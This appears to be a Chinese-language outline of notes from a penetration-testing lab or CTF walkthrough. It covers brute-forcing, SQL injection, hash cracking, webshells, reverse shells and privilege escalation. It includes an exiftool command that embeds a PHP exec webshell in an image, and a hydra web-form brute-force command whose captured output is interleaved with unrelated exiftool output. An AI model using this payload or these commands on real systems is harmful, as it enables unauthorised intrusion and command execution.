nmap信息收集
web渗透
- 目录爆破
-
源码无发现,下载静态资源look
-
可能是ssh密码,可能是mysql密码,最后是web路由
hydra暴力破解web表单
- 确定是需要的登陆和不需要验证码的表单
SQL注入
数据库猜解-布尔类型
手动
测试字段个数
数据库信息
再次获取数据库
获取数据表
获取数据表字段
获取数据表字段值
sqlmap
获取数据库
获取数据表
获取数据表字段
获取数据表字段值
John暴力破解md5格式hash
base64解密
md5解密
- john
- hashcat(破解文本写前,字典写后)
获得系统初始权限shell
SQL注入-写入一句话木马
-
system类型函数是命令执行而不是代码执行
-
eval类型函数是代码执行而不是命令执行(一句话木马)
SQL注入-写入反弹shell
提权
SUID可执行文件提权
- 搜索备份文件
CVE-2021-4034提权
其他
exiftool
- 图片工具
#查看所有信息
exiftool photo.jpg
# 为一个图片生成图片码,图片码为我们的木马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"
hydra 表单爆破
└─$ hydra 10.0.2.10 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l zgc -P /usr/share/wordlists/rockyou.txt │Image Width : 235
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, t│Image Height : 302
hese *** ignore laws and ethics anyway). │Has Color Map : No
│Color Resolution Depth : 8
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-04 01:14:19 │Bits Per Pixel : 1
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task │Background Color : 0
[DATA] attacking http-post-form://10.0.2.10:80/kzMb5nVYJw/index.php:key=^PASS^:invalid key │Comment : P-): kzMb5nVYJw
[STATUS] 4566.00 tries/min, 4566 tries in 00:01h, 14339833 to do in 52:21h, 16 active │Image Size : 235x302
[STATUS] 4652.00 tries/min, 13956 tries in 00:03h, 14330443 to do in 51:21h, 16 active │Megapixels : 0.071
[80][http-post-form] host: 10.0.2.10 login: zgc password: elite │
1 of 1 target successfully completed, 1 valid password found │┌──(kali?kali)-[/tmp]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-04 01:19:45 │└─$ vi 2main.gif